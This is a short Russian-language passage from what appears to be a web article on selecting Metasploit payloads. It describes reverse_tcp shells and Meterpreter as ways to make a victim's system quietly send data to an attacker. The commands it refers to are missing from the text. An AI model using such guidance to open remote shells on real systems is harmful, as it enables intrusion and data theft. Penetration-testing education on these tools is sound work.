Работая в среде Metasploit, можно посмотреть на готовые варианты пэйлоудов применимо к выбранным эксплойтам. Это делается командой

в выбранном вами варианте эксплойта. Ещё вариант – в выбранном эксплойте пишем

и закрепляем, дважды нажав по клавише Tаb. Metasploit спросит, не хотите ли вы посмотреть всех… Пэйлоудов. И обычно терминал Metasploit-а выводит информацию по пэйлоудам в формате Operating System/Shell TypeОперационная система/Тип шелла. Например

Остаётся выбрать нужную ОСь и понравившийся тип пэйлоуда. Самые популярные типы пэйлоудов это и есть шеллы, о которых мы говорили выше (удалённый шел и метерпретер шел или метер-шелл).

Выбор пэйлоудов из кэша среды очень широк. Так же как и выбор средств, с помощью которых система жертвы будет “сливать” хакеру нужную информацию. Типичные шеллы с основой reverse_tcp из команды выше для того и существуют: исполняясь на удалённой системе, они сообщают злоумышленнику данные, часто не вызывая подозрений у системного фаервола.

Ссылка на основную публикацию
Статьи c упоминанием слов:
Adblock
detector